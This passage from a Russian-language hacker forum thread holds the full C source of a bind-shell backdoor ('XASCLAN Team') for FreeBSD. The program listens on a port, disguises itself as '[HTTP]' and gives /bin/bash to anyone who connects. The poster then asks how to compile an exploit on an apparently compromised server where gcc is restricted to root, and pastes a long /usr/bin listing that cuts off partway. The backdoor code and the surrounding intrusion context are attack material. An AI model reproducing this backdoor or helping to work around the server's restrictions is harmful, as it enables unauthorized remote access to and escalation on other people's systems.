Срочно надо откомпилить под FreeBSD 5.4!!! Первому гарантированый + !! =) Code: #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <strings.h> #include <sys/types.h> char shell[] = "/bin/bash"; char cmdname[] = "[HTTP]"; char message[] = "\n..::[XASCLAN Team : Bind Shell]::..\n"; int main(int arg, char **param[]) { int sd, datas; int sins, port; char c; struct sockaddr_in saddr; struct sockaddr_in saddrd; sins = 0x10; // Size /* Arguments */ if( arg != 2) { printf("Usage: %s <port>\n", param[0]); exit(0); } /* Port check */ port = atoi((char *)param[1]); if( port > 65535 | port < 1) { fprintf(stderr, "Error: Ports must be > 0 and < 65535\n"); exit(1); } /* Creat socket struct */ bzero(&saddr, sizeof(saddr)); saddr.sin_family = AF_INET; saddr.sin_port = htons(port); saddr.sin_addr.s_addr = INADDR_ANY; /* Creat socket */ if(( sd = socket( AF_INET, SOCK_STREAM, 0)) < 0) { fprintf(stderr, "Error: Creat Socket Failed\n"); exit(1); } /* Fork */ if( fork() == 0) { /* Bind port */ if( bind(sd, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) { close(sd); fprintf(stderr, "Error: Bind Failed\n"); exit(1); } /* Listen port */ if( listen(sd, 5) < 0) // Listen port. Max active connections = 5 { close(sd); fprintf(stderr, "Error: Listen Failed\n"); exit(1); } for(;;) { if(( datas = accept(sd, (struct sockaddr *) &saddrd, &sins)) > 0) { write(datas, message, sizeof(message)); dup2(datas, 0); dup2(datas, 1); dup2(datas, 2); execl( shell, cmdname, 0); close(datas); exit(0); } } } close(datas); }
Не работает, правда.... Ну ладно, дежи + Помогите с другим вот можно ли чем нить откомпилить сплоит на серве? или хоть что нить сделать? вот usr/bin Code: drwxr-xr-x 2 root wheel 7168 Feb 23 23:08 . drwxr-xr-x 18 root wheel 512 Feb 23 22:45 .. -r-xr-xr-x 1 root wheel 77668 Feb 17 00:41 CC -r-xr-xr-x 1 root wheel 74488 Feb 17 00:41 Mail -r-xr-xr-x 1 root wheel 18692 Feb 17 00:41 addftinfo -r-xr-xr-x 1 root wheel 337980 Feb 17 00:40 addr2line -r-xr-xr-x 1 root wheel 165214 Feb 17 00:41 afmtodit -r-xr-xr-x 1 root wheel 147 Feb 17 00:41 alias -r-xr-xr-x 1 root wheel 6224 Feb 17 00:41 apply -r-xr-xr-x 1 root wheel 2248 Feb 17 00:41 apropos -r-xr-xr-x 1 root wheel 416304 Feb 17 00:40 ar -r-xr-xr-x 1 root wheel 615872 Feb 17 00:40 as -r-xr-xr-x 1 root wheel 4996 Feb 17 00:41 asa -r-xr-xr-x 1 root wheel 21448 Feb 17 00:41 at -r-xr-xr-x 1 root wheel 21448 Feb 17 00:41 atq -r-xr-xr-x 1 root wheel 21448 Feb 17 00:41 atrm -r-xr-xr-x 1 root wheel 115696 Feb 17 00:41 awk -r-xr-xr-x 1 root wheel 8956 Feb 17 00:41 b64decode -r-xr-xr-x 1 root wheel 5860 Feb 17 00:41 b64encode -r-xr-xr-x 1 root wheel 16756 Feb 17 00:41 banner -r-xr-xr-x 1 root wheel 4700 Feb 17 00:41 basename -r-xr-xr-x 1 root wheel 21448 Feb 17 00:41 batch -r-xr-xr-x 1 root wheel 64144 Feb 17 00:41 bc -r-xr-xr-x 1 root wheel 14104 Feb 17 00:41 bdes -r-xr-xr-x 1 root wheel 147 Feb 17 00:41 bg -r-xr-xr-x 1 root wheel 4292 Feb 17 00:41 biff -r-xr-xr-x 1 root wheel 5912 Feb 17 00:41 brandelf -r-xr-xr-x 1 root wheel 33352 Feb 17 00:41 bsdtar -r-xr-xr-x 1 root wheel 4760 Feb 17 00:41 bthost -r-xr-xr-x 1 root wheel 8712 Feb 17 00:41 btsockstat -r-xr-xr-x 1 root wheel 26408 Feb 17 00:41 bunzip2 -r-xr-xr-x 1 root wheel 65836 Feb 17 00:41 byacc -r-xr-xr-x 1 root wheel 26408 Feb 17 00:41 bzcat -r-xr-xr-x 1 root wheel 72284 Feb 17 00:41 bzegrep -r-xr-xr-x 1 root wheel 72284 Feb 17 00:41 bzfgrep -r-xr-xr-x 1 root wheel 72284 Feb 17 00:41 bzgrep -r-xr-xr-x 1 root wheel 26408 Feb 17 00:41 bzip2 -r-xr-xr-x 1 root wheel 8136 Feb 17 00:41 bzip2recover -r-xr-xr-x 1 root wheel 77668 Feb 17 00:41 c++ -r-xr-xr-x 1 root wheel 29136 Feb 17 00:41 c++filt -r-xr-xr-x 1 root wheel 4228 Feb 17 00:41 c89 -r-xr-xr-x 1 root wheel 4536 Feb 17 00:41 c99 -r-xr-xr-x 1 root wheel 16432 Feb 17 00:41 cal -r-xr-xr-x 1 root wheel 16076 Feb 17 00:41 calendar -r-xr-xr-x 1 root wheel 5884 Feb 17 00:41 cap_mkdb lrwxr-xr-x 1 root wheel 3 Feb 22 12:21 captoinfo -> tic -r-xr-xr-x 1 root wheel 14196 Feb 17 00:41 catman -r-xr-xr-x 1 root wheel 167676 Feb 17 00:41 cc -r-xr-xr-x 1 root wheel 147 Feb 17 00:41 cd -r-xr-xr-x 1 root wheel 18292 Feb 17 00:41 chat -rwxr-xr-x 1 root wheel 3860 Feb 21 10:16 checkgid -r-xr-xr-x 1 root wheel 11444 Feb 17 00:41 checknr -r-xr-xr-x 1 root wheel 17780 Feb 17 00:41 chfn -r-xr-xr-x 1 root wheel 6748 Feb 17 00:41 chgrp -r-xr-xr-x 1 root wheel 9240 Feb 17 00:41 chkey -r-xr-xr-x 1 root wheel 17780 Feb 17 00:41 chpass -r-xr-xr-x 1 root wheel 17780 Feb 17 00:41 chsh -r-xr-xr-x 1 root wheel 68148 Feb 17 00:41 ci -r-xr-xr-x 1 root wheel 8552 Feb 17 00:41 cksum -rwxr-xr-x 1 root wheel 101578 Feb 22 12:21 clear -r-xr-xr-x 1 root wheel 8896 Feb 17 00:41 cmp -r-xr-xr-x 1 root wheel 64016 Feb 17 00:41 co -r-xr-xr-x 1 root wheel 7700 Feb 17 00:41 col -r-xr-xr-x 1 root wheel 6068 Feb 17 00:41 colcrt -r-xr-xr-x 1 root wheel 27596 Feb 17 00:41 colldef -r-xr-xr-x 1 root wheel 4952 Feb 17 00:41 colrm -r-xr-xr-x 1 root wheel 7512 Feb 17 00:41 column -r-xr-xr-x 1 root wheel 5840 Feb 17 00:41 comm -r-xr-xr-x 1 root wheel 147 Feb 17 00:41 command -r-xr-xr-x 1 root wheel 20440 Feb 17 00:41 compile_et -r-xr-xr-x 1 root wheel 12740 Feb 17 00:41 compress -r-xr-xr-x 1 root wheel 49260 Feb 17 00:41 cpio -r-xr-xr-x 1 root wheel 77092 Feb 17 00:41 cpp -r-xr-xr-x 1 root wheel 26968 Feb 17 00:41 crontab -r-xr-xr-x 1 root wheel 20108 Feb 17 00:41 crunchgen -r-xr-xr-x 1 root wheel 13516 Feb 17 00:41 crunchide -r-xr-xr-x 1 root wheel 5844 Feb 17 00:41 crypt -r-xr-xr-x 1 root wheel 10036 Feb 17 00:41 csplit -r-xr-xr-x 1 root wheel 18940 Feb 17 00:41 ctags -r-xr-xr-x 1 root wheel 51348 Feb 17 00:41 cu -r-xr-xr-x 1 root wheel 10000 Feb 17 00:41 cut -r-xr-xr-x 1 root wheel 479400 Feb 17 00:41 cvs -r-xr-xr-x 1 root wheel 14052 Feb 17 00:41 cvsbug -rwxr-xr-x 1 root wheel 8690 Feb 21 10:16 dbmmanage -r-xr-xr-x 1 root wheel 28620 Feb 17 00:41 dc -r-xr-xr-x 1 root wheel 9188 Feb 17 00:41 dialog -r-xr-xr-x 1 root wheel 43268 Feb 17 00:41 diff -r-xr-xr-x 1 root wheel 16492 Feb 17 00:41 diff3 -r-xr-xr-x 1 root wheel 1116876 Feb 17 00:41 dig -r-xr-xr-x 1 root wheel 3912 Feb 17 00:41 dirname -r-xr-xr-x 1 root wheel 7984 Feb 17 00:41 du -r-xr-xr-x 1 root wheel 56720 Feb 17 00:41 edit -r-xr-xr-x 1 root wheel 56720 Feb 17 00:41 ee -r-xr-xr-x 1 root wheel 72284 Feb 17 00:41 egrep -r-xr-xr-x 1 root wheel 6652 Feb 17 00:41 elf2aout -r-xr-xr-x 1 root wheel 19044 Feb 17 00:41 elfdump -r-xr-xr-x 1 root wheel 5844 Feb 17 00:41 enigma -r-xr-xr-x 1 root wheel 4152 Feb 17 00:41 env -r-xr-xr-x 1 root wheel 100504 Feb 17 00:41 eqn -r-xr-xr-x 1 root wheel 285108 Feb 17 00:41 ex -r-xr-xr-x 1 root wheel 5844 Feb 17 00:41 expand -r-xr-xr-x 1 root wheel 81188 Feb 17 00:41 f77 -r-xr-xr-x 1 root wheel 3268 Feb 17 00:41 false -r-xr-xr-x 1 root wheel 147 Feb 17 00:41 fc -r-xr-xr-x 1 root wheel 17148 Feb 17 00:41 fetch -r-xr-xr-x 1 root wheel 147 Feb 17 00:41 fg -r-xr-xr-x 1 root wheel 72284 Feb 17 00:41 fgrep -r-xr-xr-x 1 root wheel 10296 Feb 17 00:41 file -r-xr-xr-x 1 root wheel 4084 Feb 17 00:41 file2c -r-xr-xr-x 1 root wheel 34140 Feb 17 00:41 find -r-xr-xr-x 1 root wheel 20416 Feb 17 00:41 finger -r-xr-xr-x 1 root wheel 142832 Feb 17 00:41 flex -r-xr-xr-x 1 root wheel 142832 Feb 17 00:41 flex++ -r-xr-xr-x 1 root wheel 9968 Feb 17 00:41 fmt -r-xr-xr-x 1 root wheel 5844 Feb 17 00:41 fold -r-xr-xr-x 1 root wheel 5844 Feb 17 00:41 from -r-xr-xr-x 1 root wheel 14716 Feb 17 00:41 fstat -r-xr-xr-x 1 root wheel 3756 Feb 17 00:41 fsync -r-xr-xr-x 1 root wheel 116732 Feb 17 00:41 ftp -r-xr-xr-x 1 root wheel 77668 Feb 17 00:41 g++ -r-xr-xr-x 1 root wheel 116732 Feb 17 00:41 gate-ftp -rwx------ 1 root wheel 167676 Feb 17 00:41 gcc -r-xr-xr-x 1 root wheel 9164 Feb 17 00:41 gcore -r-xr-xr-x 1 root wheel 19548 Feb 17 00:41 gcov -r-xr-xr-x 1 root wheel 1977184 Feb 17 00:41 gdb -r-xr-xr-x 1 root wheel 1977184 Feb 17 00:41 gdbtui -r-xr-xr-x 1 root wheel 14248 Feb 17 00:41 gencat -r-xr-xr-x 1 root wheel 13180 Feb 17 00:41 getconf -r-xr-xr-x 1 root wheel 3644 Feb 17 00:41 getopt -r-xr-xr-x 1 root wheel 147 Feb 17 00:41 getopts -r-xr-xr-x 1 root wheel 52036 Feb 17 00:41 gperf -r-xr-xr-x 1 root wheel 27512 Feb 17 00:41 gprof -r-xr-xr-x 1 root wheel 72284 Feb 17 00:41 grep -r-xr-xr-x 1 root wheel 48608 Feb 17 00:41 grn -r-xr-xr-x 1 root wheel 64464 Feb 17 00:41 grodvi -r-xr-xr-x 1 root wheel 48152 Feb 17 00:41 groff -r-xr-xr-x 1 root wheel 2468 Feb 17 00:41 grog -r-xr-xr-x 1 root wheel 69452 Feb 17 00:41 grolbp -r-xr-xr-x 1 root wheel 60624 Feb 17 00:41 grolj4 -r-xr-xr-x 1 root wheel 102284 Feb 17 00:41 grops -r-xr-xr-x 1 root wheel 60364 Feb 17 00:41 grotty -r-xr-xr-x 1 root wheel 8232 Feb 17 00:41 groups -r-xr-xr-x 1 root wheel 130556 Feb 17 00:41 gtar -r-xr-xr-x 1 root wheel 46836 Feb 17 00:41 gunzip -r-xr-xr-x 1 root wheel 46836 Feb 17 00:41 gzcat -r-xr-xr-x 1 root wheel 4068 Feb 17 00:41 gzexe -r-xr-xr-x 1 root wheel 46836 Feb 17 00:41 gzip -r-xr-xr-x 1 root wheel 23144 Feb 17 00:41 hd -r-xr-xr-x 1 root wheel 5844 Feb 17 00:41 head -r-xr-xr-x 1 root wheel 4944 Feb 17 00:41 hesinfo -r-xr-xr-x 1 root wheel 23144 Feb 17 00:41 hexdump -r-xr-xr-x 1 root wheel 1104752 Feb 17 00:41 host -r-xr-xr-x 1 root wheel 18724 Feb 17 00:41 hpftodit -rwxr-xr-x 1 root wheel 13012 Feb 21 10:16 htdigest -rwxr-xr-x 1 root wheel 35184 Feb 21 10:16 htpasswd -r-xr-xr-x 1 root wheel 8232 Feb 17 00:41 id -r-xr-xr-x 1 root wheel 7500 Feb 17 00:41 ident -r-xr-xr-x 1 root wheel 45880 Feb 17 00:41 indent -r-xr-xr-x 1 root wheel 23068 Feb 17 00:41 indxbib -r-xr-xr-x 1 root wheel 122412 Feb 17 00:41 info -rwxr-xr-x 1 root wheel 136214 Feb 22 12:21 infocmp -r-xr-xr-x 1 root wheel 19324 Feb 17 00:41 infokey lrwxr-xr-x 1 root wheel 3 Feb 22 12:21 infotocap -> tic -r-xr-xr-x 1 root wheel 12504 Feb 17 00:41 install -r-xr-xr-x 1 root wheel 18560 Feb 17 00:41 install-info -r-xr-xr-x 1 root wheel 5852 Feb 17 00:41 ipcrm -r-xr-xr-x 1 root wheel 12116 Feb 17 00:41 ipcs -r-xr-xr-x 1 root wheel 147 Feb 17 00:41 jobs -r-xr-xr-x 1 root wheel 10252 Feb 17 00:41 join -r-xr-xr-x 1 root wheel 9100 Feb 17 00:41 jot -r-xr-xr-x 1 root wheel 41076 Feb 17 00:41 kadmin -r-xr-xr-x 1 root wheel 6048 Feb 17 00:41 kdestroy -r-xr-xr-x 1 root wheel 57224 Feb 17 00:41 kdump -r-xr-xr-x 1 root wheel 4240 Feb 17 00:41 keylogin -r-xr-xr-x 1 root wheel 3852 Feb 17 00:41 keylogout -r-xr-xr-x 1 root wheel 1834280 Feb 17 00:41 kgdb -r-xr-xr-x 1 root wheel 10040 Feb 17 00:41 killall -r-xr-xr-x 1 root wheel 13372 Feb 17 00:41 kinit -r-xr-xr-x 1 root wheel 12972 Feb 17 00:41 klist -r-xr-xr-x 1 root wheel 6444 Feb 17 00:41 kpasswd -r-xr-xr-x 1 root wheel 1922 Feb 17 00:41 krb5-config -r-xr-xr-x 1 root wheel 10380 Feb 17 00:41 ksu -r-xr-xr-x 1 root wheel 6616 Feb 17 00:41 ktrace -r-xr-xr-x 1 root wheel 10108 Feb 17 00:41 ktrdump -r-xr-xr-x 1 root wheel 5996 Feb 17 00:41 lam -r-xr-xr-x 1 root wheel 10328 Feb 17 00:41 last -r-xr-xr-x 1 root wheel 6944 Feb 17 00:41 lastcomm -r-xr-xr-x 1 root wheel 693448 Feb 17 00:41 ld -r-xr-xr-x 1 root wheel 18312 Feb 17 00:41 ldd -r-xr-xr-x 1 root wheel 5840 Feb 17 00:41 leave -r-xr-xr-x 1 root wheel 97736 Feb 17 00:41 less -r-xr-xr-x 1 root wheel 5896 Feb 17 00:41 lessecho -r-xr-xr-x 1 root wheel 10604 Feb 17 00:41 lesskey -r-xr-xr-x 1 root wheel 241 Feb 17 00:41 lesspipe.sh -r-xr-xr-x 1 root wheel 142832 Feb 17 00:41 lex -r-xr-xr-x 1 root wheel 142832 Feb 17 00:41 lex++ -r-xr-xr-x 1 root wheel 13004 Feb 17 00:41 limits -r-xr-xr-x 1 root wheel 12836 Feb 17 00:41 lint -r-xr-xr-x 1 root wheel 28456 Feb 17 00:41 lkbib -r-xr-xr-x 1 root wheel 11604 Feb 17 00:41 locale -r-xr-xr-x 1 root wheel 13196 Feb 17 00:41 locate -r-xr-xr-x 1 root wheel 7924 Feb 17 00:41 lock ВТОРАЯ ПОЛОВИНА НИЖЕ Обращаю внимание! Обратите свое внимание на права, а то сейчас пойдет "помощь" типа 'есстессно gcc'
Code: -r-xr-xr-x 1 root wheel 5872 Feb 17 00:41 lockf -r-xr-xr-x 1 root wheel 10344 Feb 17 00:41 logger -r-xr-xr-x 1 root wheel 17192 Feb 17 00:41 login -r-xr-xr-x 1 root wheel 7388 Feb 17 00:41 logins -r-xr-xr-x 1 root wheel 3768 Feb 17 00:41 logname -r-xr-xr-x 1 root wheel 6508 Feb 17 00:41 look -r-xr-xr-x 1 root wheel 28516 Feb 17 00:41 lookbib -r-xr-xr-x 1 root wheel 2830 Feb 17 00:41 lorder -r-xr-xr-x 1 root wheel 2590 Feb 17 00:41 lp -r-xr-xr-x 1 root wheel 25040 Feb 17 00:41 lpq -r-xr-xr-x 1 root wheel 28080 Feb 17 00:41 lpr -r-xr-xr-x 1 root wheel 23664 Feb 17 00:41 lprm -r-xr-xr-x 1 root wheel 4912 Feb 17 00:41 lsvfs -r-xr-xr-x 1 root wheel 32032 Feb 17 00:41 m4 -r-xr-xr-x 1 root wheel 74488 Feb 17 00:41 mail -r-xr-xr-x 1 root wheel 5424 Feb 17 00:41 mailq -r-xr-xr-x 1 root wheel 74488 Feb 17 00:41 mailx -r-xr-xr-x 1 root wheel 276272 Feb 17 00:41 make -r-xr-xr-x 1 root wheel 140004 Feb 17 00:41 makeinfo -r-xr-xr-x 1 root wheel 14240 Feb 17 00:41 makewhatis -r-xr-xr-x 1 root wheel 29532 Feb 17 00:41 man -r-xr-xr-x 1 root wheel 10708 Feb 17 00:41 manpath -r-xr-xr-x 1 root wheel 43656 Feb 17 00:41 merge -r-xr-xr-x 1 root wheel 4216 Feb 17 00:41 mesg -r-xr-xr-x 1 root wheel 6500 Feb 17 00:41 minigzip -r-xr-xr-x 1 root wheel 3250 Feb 17 00:41 mkdep -r-xr-xr-x 1 root wheel 4356 Feb 17 00:41 mkfifo -r-xr-xr-x 1 root wheel 33792 Feb 17 00:41 mklocale -r-xr-xr-x 1 root wheel 7376 Feb 17 00:41 mkstr -r-xr-xr-x 1 root wheel 4960 Feb 17 00:41 mktemp -r-xr-xr-x 1 root wheel 8368 Feb 17 00:41 mkuzip -r-xr-xr-x 1 root wheel 2974 Feb 17 00:41 mmroff -r-xr-xr-x 1 root wheel 97736 Feb 17 00:41 more -r-xr-xr-x 1 root wheel 15408 Feb 17 00:41 msgs -r-xr-xr-x 1 root wheel 12008 Feb 17 00:41 mt -r-xr-xr-x 1 root wheel 115696 Feb 17 00:41 nawk -r-xr-xr-x 1 root wheel 16340 Feb 17 00:41 nc -r-xr-xr-x 1 root wheel 16432 Feb 17 00:41 ncal -r-xr-xr-x 1 root wheel 10168 Feb 17 00:41 ncplist -r-xr-xr-x 1 root wheel 6652 Feb 17 00:41 ncplogin -r-xr-xr-x 1 root wheel 6652 Feb 17 00:41 ncplogout -r-xr-xr-x 1 root wheel 581 Feb 17 00:41 neqn -r-xr-xr-x 1 root wheel 95308 Feb 17 00:41 netstat -r-xr-xr-x 1 root wheel 5424 Feb 17 00:41 newaliases -r-xr-xr-x 1 root wheel 7500 Feb 17 00:41 newgrp -r-xr-xr-x 1 root wheel 8544 Feb 17 00:41 newkey -r-xr-xr-x 1 root wheel 285108 Feb 17 00:41 nex -r-xr-xr-x 1 root wheel 10124 Feb 17 00:41 nfsstat -r-xr-xr-x 1 root wheel 5836 Feb 17 00:41 nice -r-xr-xr-x 1 root wheel 7888 Feb 17 00:41 nl -r-xr-xr-x 1 root wheel 349180 Feb 17 00:41 nm -r-xr-xr-x 1 root wheel 4520 Feb 17 00:41 nohup -r-xr-xr-x 1 root wheel 2206 Feb 17 00:41 nroff -r-xr-xr-x 1 root wheel 1103948 Feb 17 00:41 nslookup -r-xr-xr-x 1 root wheel 1077604 Feb 17 00:41 nsupdate -r-xr-xr-x 1 root wheel 60704 Feb 17 00:41 ntpq -r-xr-xr-x 1 root wheel 285108 Feb 17 00:41 nvi -r-xr-xr-x 1 root wheel 285108 Feb 17 00:41 nview -r-xr-xr-x 1 root wheel 502196 Feb 17 00:41 objcopy -r-xr-xr-x 1 root wheel 552556 Feb 17 00:41 objdump -r-xr-xr-x 1 root wheel 3120 Feb 17 00:41 objformat -r-xr-xr-x 1 root wheel 23144 Feb 17 00:41 od -r-xr-xr-x 1 root wheel 310132 Feb 17 00:41 openssl -r-xr-xr-x 1 root wheel 4312 Feb 17 00:41 opieinfo -r-xr-xr-x 1 root wheel 8464 Feb 17 00:41 opiekey -r-xr-xr-x 1 root wheel 10800 Feb 17 00:41 opiepasswd -r-xr-xr-x 1 root wheel 8464 Feb 17 00:41 otp-md4 -r-xr-xr-x 1 root wheel 8464 Feb 17 00:41 otp-md5 -r-xr-xr-x 1 root wheel 8464 Feb 17 00:41 otp-sha -r-xr-xr-x 1 root wheel 2006 Feb 17 00:41 pagesize -r-xr-xr-x 1 root wheel 6052 Feb 17 00:41 passwd -r-xr-xr-x 1 root wheel 5844 Feb 17 00:41 paste -r-xr-xr-x 1 root wheel 40628 Feb 17 00:41 patch -r-xr-xr-x 1 root wheel 5088 Feb 17 00:41 pathchk -r-xr-xr-x 1 root wheel 6904 Feb 17 00:41 pawd -rwxr-xr-x 1 root wheel 10076 Feb 17 00:41 perl.freebsd -rwxr-xr-x 1 root wheel 10076 Feb 17 00:40 perl5.freebsd -r-xr-xr-x 1 root wheel 7408 Feb 17 00:41 pfbtops -r-xr-xr-x 1 root wheel 116732 Feb 17 00:41 pftp -r-xr-xr-x 1 root wheel 10040 Feb 17 00:41 pgrep -rwxr-xr-x 1 root wheel 4619463 Feb 21 10:15 php -rwxr-xr-x 1 root wheel 615 Feb 21 10:15 php-config -rwxr-xr-x 1 root wheel 593 Feb 21 10:15 phpextdist -rwxr-xr-x 1 root wheel 3048 Feb 21 10:15 phpize -r-xr-xr-x 1 root wheel 176284 Feb 17 00:41 pic -r-xr-xr-x 1 root wheel 10040 Feb 17 00:41 pkill -r-xr-xr-x 1 root wheel 98188 Feb 17 00:41 post-grohtml -r-xr-xr-x 1 root wheel 22448 Feb 17 00:41 pr -r-xr-xr-x 1 root wheel 31228 Feb 17 00:41 pre-grohtml -r-xr-xr-x 1 root wheel 3836 Feb 17 00:41 printenv -r-xr-xr-x 1 root wheel 8444 Feb 17 00:41 printf -r-xr-xr-x 1 root wheel 30836 Feb 17 00:41 protoize -r-xr-xr-x 1 root wheel 143 Feb 17 00:41 psroff -r-xr-xr-x 1 root wheel 10388 Feb 17 00:41 quota -r-xr-xr-x 1 root wheel 416304 Feb 17 00:41 ranlib -r-xr-xr-x 1 root wheel 68208 Feb 17 00:41 rcs -r-xr-xr-x 1 root wheel 64084 Feb 17 00:41 rcsclean -r-xr-xr-x 1 root wheel 47524 Feb 17 00:41 rcsdiff -r-xr-xr-x 1 root wheel 3239 Feb 17 00:41 rcsfreeze -r-xr-xr-x 1 root wheel 47560 Feb 17 00:41 rcsmerge -r-xr-xr-x 1 root wheel 147 Feb 17 00:41 read -r-xr-xr-x 1 root wheel 179656 Feb 17 00:41 readelf -r-xr-xr-x 1 root wheel 14064 Feb 17 00:41 readlink -r-xr-xr-x 1 root wheel 56720 Feb 17 00:41 ree -r-xr-xr-x 1 root wheel 90424 Feb 17 00:41 refer -r-xr-xr-x 1 root wheel 5016 Feb 17 00:41 renice lrwxr-xr-x 1 root wheel 4 Feb 22 12:21 reset -> tset -r-xr-xr-x 1 root wheel 4436 Feb 17 00:41 rev -r-xr-xr-x 1 root wheel 10480 Feb 17 00:41 rfcomm_sppd -r-xr-xr-x 1 root wheel 51652 Feb 17 00:41 rlog -r-xr-xr-x 1 root wheel 10228 Feb 17 00:41 rlogin -r-xr-xr-x 1 root wheel 70008 Feb 17 00:41 rpcgen -r-xr-xr-x 1 root wheel 26884 Feb 17 00:41 rpcinfo -r-xr-xr-x 1 root wheel 9964 Feb 17 00:41 rs -r-xr-xr-x 1 root wheel 8164 Feb 17 00:41 rsh -r-xr-xr-x 1 root wheel 6072 Feb 17 00:41 rup -r-xr-xr-x 1 root wheel 7004 Feb 17 00:41 ruptime -r-xr-xr-x 1 root wheel 6356 Feb 17 00:41 rusers -r-xr-xr-x 1 root wheel 6308 Feb 17 00:41 rwall -r-xr-xr-x 1 root wheel 6096 Feb 17 00:41 rwho -r-xr-xr-x 1 root wheel 22500 Feb 17 00:41 scp -r-xr-xr-x 1 root wheel 7224 Feb 17 00:41 script -r-xr-xr-x 1 root wheel 14872 Feb 17 00:41 sdiff -r-xr-xr-x 1 root wheel 27220 Feb 17 00:41 sed -r-xr-xr-x 1 root wheel 15766 Feb 17 00:41 send-pr -r-xr-xr-x 1 root wheel 15766 Feb 17 00:41 sendbug -r-xr-xr-x 1 root wheel 40784 Feb 17 00:41 sftp -r-xr-xr-x 1 root wheel 2609 Feb 17 00:41 shar -r-xr-xr-x 1 root wheel 6280 Feb 17 00:41 showmount -r-xr-xr-x 1 root wheel 292432 Feb 17 00:41 size -r-xr-xr-x 1 root wheel 94544 Feb 17 00:41 slogin -r-xr-xr-x 1 root wheel 13628 Feb 17 00:41 smbutil -r-xr-xr-x 1 root wheel 10008 Feb 17 00:41 sockstat -r-xr-xr-x 1 root wheel 18704 Feb 17 00:41 soelim -r-xr-xr-x 1 root wheel 49860 Feb 17 00:41 sort -r-xr-xr-x 1 root wheel 8408 Feb 17 00:41 split -r-xr-xr-x 1 root wheel 12260 Feb 17 00:41 sscop -r-xr-xr-x 1 root wheel 94544 Feb 17 00:41 ssh -r-xr-xr-x 1 root wheel 10856 Feb 17 00:41 ssh-add -r-xr-xr-x 1 root wheel 22716 Feb 17 00:41 ssh-agent -r-xr-xr-x 1 root wheel 22572 Feb 17 00:41 ssh-keygen -r-xr-xr-x 1 root wheel 15340 Feb 17 00:41 ssh-keyscan -r-xr-xr-x 1 root wheel 14064 Feb 17 00:41 stat -r-xr-xr-x 1 root wheel 291784 Feb 17 00:41 strings -r-xr-xr-x 1 root wheel 502228 Feb 17 00:41 strip -r-sr-xr-x 1 root wheel 12244 Feb 17 00:41 su -r-xr-xr-x 1 root wheel 8552 Feb 17 00:41 sum -r-xr-xr-x 1 root wheel 70384 Feb 17 00:41 systat -r-xr-xr-x 1 root wheel 9952 Feb 17 00:41 tabs -rwxr-xr-x 1 root wheel 236737 Feb 22 12:21 tack -r-xr-xr-x 1 root wheel 15528 Feb 17 00:41 tail -r-xr-xr-x 1 root wheel 19724 Feb 17 00:41 talk -r-xr-xr-x 1 root wheel 33352 Feb 17 00:41 tar -r-xr-xr-x 1 root wheel 76604 Feb 17 00:41 tbl -r-xr-xr-x 1 root wheel 7508 Feb 17 00:41 tcopy -r-xr-xr-x 1 root wheel 4456 Feb 17 00:41 tee -r-xr-xr-x 1 root wheel 111124 Feb 17 00:41 telnet -r-xr-xr-x 1 root wheel 15992 Feb 17 00:41 texindex -r-xr-xr-x 1 root wheel 22884 Feb 17 00:41 tfmtodit -r-xr-xr-x 1 root wheel 19276 Feb 17 00:41 tftp -rwxr-xr-x 1 root wheel 150940 Feb 22 12:21 tic -r-xr-xr-x 1 root wheel 7484 Feb 17 00:41 time -r-xr-xr-x 1 root wheel 51348 Feb 17 00:41 tip -rwxr-xr-x 1 root wheel 122324 Feb 22 12:21 toe -r-xr-xr-x 1 root wheel 37232 Feb 17 00:41 top -r-xr-xr-x 1 root wheel 7520 Feb 17 00:41 touch -rwxr-xr-x 1 root wheel 115114 Feb 22 12:21 tput -r-xr-xr-x 1 root wheel 16552 Feb 17 00:41 tr -r-xr-xr-x 1 root wheel 316808 Feb 17 00:41 troff -r-xr-xr-x 1 root wheel 3196 Feb 17 00:41 true -r-xr-xr-x 1 root wheel 5760 Feb 17 00:41 truncate -r-xr-xr-x 1 root wheel 72412 Feb 17 00:41 truss -rwxr-xr-x 1 root wheel 142191 Feb 22 12:21 tset -r-xr-xr-x 1 root wheel 6756 Feb 17 00:41 tsort -r-xr-xr-x 1 root wheel 3772 Feb 17 00:41 tty -r-xr-xr-x 1 root wheel 9896 Feb 17 00:41 ul -r-xr-xr-x 1 root wheel 147 Feb 17 00:41 umask -r-xr-xr-x 1 root wheel 147 Feb 17 00:41 unalias -r-xr-xr-x 1 root wheel 5848 Feb 17 00:41 uname -r-xr-xr-x 1 root wheel 12740 Feb 17 00:41 uncompress -r-xr-xr-x 1 root wheel 5880 Feb 17 00:41 unexpand -r-xr-xr-x 1 root wheel 13012 Feb 17 00:41 unifdef -r-xr-xr-x 1 root wheel 868 Feb 17 00:41 unifdefall -r-xr-xr-x 1 root wheel 9872 Feb 17 00:41 uniq -r-xr-xr-x 1 root wheel 10920 Feb 17 00:41 units -r-xr-xr-x 1 root wheel 4956 Feb 17 00:41 unvis -r-xr-xr-x 1 root wheel 12052 Feb 17 00:41 uptime -r-xr-xr-x 1 root wheel 14104 Feb 17 00:41 usbhidaction -r-xr-xr-x 1 root wheel 9936 Feb 17 00:41 usbhidctl -r-xr-xr-x 1 root wheel 4500 Feb 17 00:41 users -r-xr-xr-x 1 root wheel 8956 Feb 17 00:41 uudecode -r-xr-xr-x 1 root wheel 5860 Feb 17 00:41 uuencode -r-xr-xr-x 1 root wheel 4672 Feb 17 00:41 uuidgen -r-xr-xr-x 1 root wheel 78032 Feb 17 00:41 vacation -r-xr-xr-x 1 root wheel 11700 Feb 17 00:41 verify_krb5_conf -r-xr-xr-x 1 root wheel 3624 Feb 17 00:41 vgrind -r-xr-xr-x 1 root wheel 285108 Feb 17 00:41 vi -r-xr-xr-x 1 root wheel 285108 Feb 17 00:41 view -r-xr-xr-x 1 root wheel 5960 Feb 17 00:41 vis -r-xr-xr-x 1 root wheel 18492 Feb 17 00:41 vmstat -r-xr-xr-x 1 root wheel 12052 Feb 17 00:41 w -r-xr-xr-x 1 root wheel 147 Feb 17 00:41 wait -r-xr-xr-x 1 root wheel 10848 Feb 17 00:41 wall -r-xr-xr-x 1 root wheel 6292 Feb 17 00:41 wc -r-xr-xr-x 1 root wheel 5052 Feb 17 00:41 what -r-xr-xr-x 1 root wheel 2248 Feb 17 00:41 whatis -r-xr-xr-x 1 root wheel 12276 Feb 17 00:41 whereis -r-xr-xr-x 1 root wheel 4604 Feb 17 00:41 which -r-xr-xr-x 1 root wheel 7592 Feb 17 00:41 who -r-xr-xr-x 1 root wheel 8232 Feb 